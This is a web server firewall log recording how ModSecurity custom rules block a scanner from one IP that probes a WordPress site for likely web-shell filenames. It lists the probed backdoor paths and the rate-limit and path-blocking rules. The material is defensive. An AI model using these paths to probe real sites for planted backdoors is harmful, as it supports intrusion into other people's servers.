[Thu Apr 02 20:10:44.548119 2026] [:error] [pid 29467:tid 29472] [client 74.248.134.192:42537] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fyiiz.php"] [unique_id "ac5cxL4VUBFCJAq-WOmH8wAAAQI"]
[Thu Apr 02 20:10:45.108357 2026] [:error] [pid 37543:tid 37565] [client 74.248.134.192:32490] [client 74.248.134.192] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/app.php"] [unique_id "ac5cxXhdk2bEYJCvILbfgAAAAVQ"]
[Thu Apr 02 20:10:47.835018 2026] [:error] [pid 59200:tid 59252] [client 74.248.134.192:22621] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/max.php"] [unique_id "ac5cx7fP26txrdLs3Ep3NwAAAEw"]
[Thu Apr 02 20:10:48.519570 2026] [:error] [pid 23927:tid 23935] [client 74.248.134.192:50097] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/max.php"] [unique_id "ac5cyEsZwqCndhl9uKC1fQAAAYY"]
[Thu Apr 02 20:10:49.613372 2026] [:error] [pid 59305:tid 59318] [client 74.248.134.192:59369] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/max.php"] [unique_id "ac5cyar2tV4rDwKFxKePEQAAAMk"]
[Thu Apr 02 20:10:50.286434 2026] [:error] [pid 37543:tid 37556] [client 74.248.134.192:29579] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "ac5cynhdk2bEYJCvILbfgwAAAUs"]
[Thu Apr 02 20:10:51.181448 2026] [:error] [pid 59201:tid 59268] [client 74.248.134.192:42519] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "ac5cy8AC0Tw8eL6gzZ4emgAAAIE"]
[Thu Apr 02 20:10:51.778087 2026] [:error] [pid 59201:tid 59270] [client 74.248.134.192:5563] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "ac5cy8AC0Tw8eL6gzZ4enAAAAIM"]
[Thu Apr 02 20:10:52.493827 2026] [:error] [pid 59201:tid 59283] [client 74.248.134.192:41893] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "ac5czMAC0Tw8eL6gzZ4eoAAAAJA"]
[Thu Apr 02 20:10:53.135919 2026] [:error] [pid 37543:tid 37569] [client 74.248.134.192:43252] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "ac5czXhdk2bEYJCvILbfiAAAAVg"]
[Thu Apr 02 20:10:54.024400 2026] [:error] [pid 59201:tid 59287] [client 74.248.134.192:41864] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "ac5czsAC0Tw8eL6gzZ4eqQAAAJQ"]
[Thu Apr 02 20:10:54.755689 2026] [:error] [pid 37543:tid 37559] [client 74.248.134.192:5559] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "ac5cznhdk2bEYJCvILbfjQAAAU4"]
[Thu Apr 02 20:10:55.633555 2026] [:error] [pid 37543:tid 37568] [client 74.248.134.192:57083] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "ac5cz3hdk2bEYJCvILbfjwAAAVc"]
[Thu Apr 02 20:10:56.984851 2026] [:error] [pid 59200:tid 59241] [client 74.248.134.192:50149] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "ac5c0LfP26txrdLs3Ep3OgAAAEE"]
[Thu Apr 02 20:10:58.233637 2026] [:error] [pid 59201:tid 59286] [client 74.248.134.192:32452] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "ac5c0sAC0Tw8eL6gzZ4euwAAAJM"]
[Thu Apr 02 20:10:59.091309 2026] [:error] [pid 59305:tid 59329] [client 74.248.134.192:50048] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "ac5c06r2tV4rDwKFxKePGQAAANQ"]
[Thu Apr 02 20:10:59.764071 2026] [:error] [pid 59305:tid 59333] [client 74.248.134.192:57051] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "ac5c06r2tV4rDwKFxKePGgAAANg"]
[Thu Apr 02 20:11:00.549667 2026] [:error] [pid 37543:tid 37560] [client 74.248.134.192:43222] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/index.php"] [unique_id "ac5c1Hhdk2bEYJCvILbfmAAAAU8"]
[Thu Apr 02 20:11:08.524028 2026] [:error] [pid 59305:tid 59329] [client 74.248.134.192:54083] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws84.php"] [unique_id "ac5c3Kr2tV4rDwKFxKePNQAAANQ"]
[Thu Apr 02 20:11:09.093883 2026] [:error] [pid 59305:tid 59309] [client 74.248.134.192:54133] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws84.php"] [unique_id "ac5c3ar2tV4rDwKFxKePOgAAAMA"]
[Thu Apr 02 20:11:09.832339 2026] [:error] [pid 59305:tid 59316] [client 74.248.134.192:32511] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws84.php"] [unique_id "ac5c3ar2tV4rDwKFxKePPgAAAMc"]
[Thu Apr 02 20:11:10.426710 2026] [:error] [pid 59305:tid 59312] [client 74.248.134.192:57061] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws84.php"] [unique_id "ac5c3qr2tV4rDwKFxKePRQAAAMM"]
[Thu Apr 02 20:11:11.136480 2026] [:error] [pid 59305:tid 59320] [client 74.248.134.192:42554] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sc.php"] [unique_id "ac5c36r2tV4rDwKFxKePRwAAAMs"]
[Thu Apr 02 20:11:11.943686 2026] [:error] [pid 59305:tid 59310] [client 74.248.134.192:50074] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sc.php"] [unique_id "ac5c36r2tV4rDwKFxKePSwAAAME"]
[Thu Apr 02 20:11:12.469063 2026] [:error] [pid 59305:tid 59317] [client 74.248.134.192:32481] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sc.php"] [unique_id "ac5c4Kr2tV4rDwKFxKePUAAAAMg"]
[Thu Apr 02 20:11:13.076684 2026] [:error] [pid 59305:tid 59313] [client 74.248.134.192:54120] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sc.php"] [unique_id "ac5c4ar2tV4rDwKFxKePVAAAAMQ"]
[Thu Apr 02 20:11:13.637171 2026] [:error] [pid 59305:tid 59316] [client 74.248.134.192:18936] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mis.php"] [unique_id "ac5c4ar2tV4rDwKFxKePbQAAAMc"]
[Thu Apr 02 20:11:14.248159 2026] [:error] [pid 29467:tid 29472] [client 74.248.134.192:21957] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mis.php"] [unique_id "ac5c4r4VUBFCJAq-WOmIFgAAAQI"]
[Thu Apr 02 20:11:14.769510 2026] [:error] [pid 29467:tid 29486] [client 74.248.134.192:18904] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mis.php"] [unique_id "ac5c4r4VUBFCJAq-WOmIGgAAARA"]
[Thu Apr 02 20:11:15.349400 2026] [:error] [pid 54384:tid 54389] [client 74.248.134.192:18939] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mis.php"] [unique_id "ac5c49WWpaby3TVN7McTMQAAAcM"]
[Thu Apr 02 20:11:15.926070 2026] [:error] [pid 59194:tid 59213] [client 74.248.134.192:59379] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zogy1.php"] [unique_id "ac5c4xMpAeV11hcQehxHKgAAAAA"]
[Thu Apr 02 20:11:16.444143 2026] [:error] [pid 54384:tid 54391] [client 74.248.134.192:57071] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zogy1.php"] [unique_id "ac5c5NWWpaby3TVN7McTMgAAAcU"]
[Thu Apr 02 20:11:17.026336 2026] [:error] [pid 59200:tid 59241] [client 74.248.134.192:29611] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zogy1.php"] [unique_id "ac5c5bfP26txrdLs3Ep3XwAAAEE"]
[Thu Apr 02 20:11:17.617005 2026] [:error] [pid 37543:tid 37569] [client 74.248.134.192:5529] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zogy1.php"] [unique_id "ac5c5Xhdk2bEYJCvILbfogAAAVg"]
[Thu Apr 02 20:11:18.156337 2026] [:error] [pid 37543:tid 37561] [client 74.248.134.192:35621] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xvs.php"] [unique_id "ac5c5nhdk2bEYJCvILbfowAAAVA"]
[Thu Apr 02 20:11:18.834719 2026] [:error] [pid 29467:tid 29493] [client 74.248.134.192:5542] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xvs.php"] [unique_id "ac5c5r4VUBFCJAq-WOmIJQAAARc"]
[Thu Apr 02 20:11:19.402320 2026] [:error] [pid 29467:tid 29494] [client 74.248.134.192:54080] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xvs.php"] [unique_id "ac5c574VUBFCJAq-WOmILAAAARg"]
[Thu Apr 02 20:11:19.922374 2026] [:error] [pid 59194:tid 59223] [client 74.248.134.192:43204] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xvs.php"] [unique_id "ac5c5xMpAeV11hcQehxHMAAAAAo"]
[Thu Apr 02 20:11:20.552350 2026] [:error] [pid 54384:tid 54393] [client 74.248.134.192:21973] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "ac5c6NWWpaby3TVN7McTNgAAAcc"]
[Thu Apr 02 20:11:21.064780 2026] [:error] [pid 29467:tid 29486] [client 74.248.134.192:57036] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "ac5c6b4VUBFCJAq-WOmIMQAAARA"]
[Thu Apr 02 20:11:21.635040 2026] [:error] [pid 59305:tid 59330] [client 74.248.134.192:32503] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "ac5c6ar2tV4rDwKFxKePhwAAANU"]
[Thu Apr 02 20:11:22.194651 2026] [:error] [pid 59194:tid 59233] [client 74.248.134.192:41898] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "ac5c6hMpAeV11hcQehxHMgAAABQ"]
[Thu Apr 02 20:11:22.717048 2026] [:error] [pid 59201:tid 59286] [client 74.248.134.192:57074] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "ac5c6sAC0Tw8eL6gzZ4e2AAAAJM"]
[Thu Apr 02 20:11:23.339458 2026] [:error] [pid 54384:tid 54392] [client 74.248.134.192:18899] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "ac5c69WWpaby3TVN7McTNwAAAcY"]
[Thu Apr 02 20:11:23.939538 2026] [:error] [pid 59201:tid 59277] [client 74.248.134.192:59380] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "ac5c68AC0Tw8eL6gzZ4e2gAAAIo"]
[Thu Apr 02 20:11:24.960742 2026] [:error] [pid 54384:tid 54396] [client 74.248.134.192:35647] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "ac5c7NWWpaby3TVN7McTPAAAAco"]
[Thu Apr 02 20:11:25.633837 2026] [:error] [pid 23927:tid 23937] [client 74.248.134.192:35601] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web.php"] [unique_id "ac5c7UsZwqCndhl9uKC1zgAAAYg"]
[Thu Apr 02 20:11:26.196641 2026] [:error] [pid 59201:tid 59291] [client 74.248.134.192:32457] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web.php"] [unique_id "ac5c7sAC0Tw8eL6gzZ4e4AAAAJg"]
[Thu Apr 02 20:11:26.760599 2026] [:error] [pid 59194:tid 59226] [client 74.248.134.192:41876] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web.php"] [unique_id "ac5c7hMpAeV11hcQehxHOAAAAA0"]
[Thu Apr 02 20:11:27.351649 2026] [:error] [pid 59305:tid 59323] [client 74.248.134.192:50071] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web.php"] [unique_id "ac5c76r2tV4rDwKFxKePjgAAAM4"]
[Thu Apr 02 20:11:28.054178 2026] [:error] [pid 29467:tid 29473] [client 74.248.134.192:59338] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "ac5c8L4VUBFCJAq-WOmIMgAAAQM"]
[Thu Apr 02 20:11:28.591716 2026] [:error] [pid 37543:tid 37559] [client 74.248.134.192:35620] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "ac5c8Hhdk2bEYJCvILbfswAAAU4"]
[Thu Apr 02 20:11:29.454767 2026] [:error] [pid 59200:tid 59244] [client 74.248.134.192:32495] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "ac5c8bfP26txrdLs3Ep3aAAAAEQ"]
[Thu Apr 02 20:11:30.075715 2026] [:error] [pid 59201:tid 59283] [client 74.248.134.192:5555] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "ac5c8sAC0Tw8eL6gzZ4e5wAAAJA"]
[Thu Apr 02 20:11:30.632947 2026] [:error] [pid 59305:tid 59317] [client 74.248.134.192:57080] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lp6.php"] [unique_id "ac5c8qr2tV4rDwKFxKePlAAAAMg"]
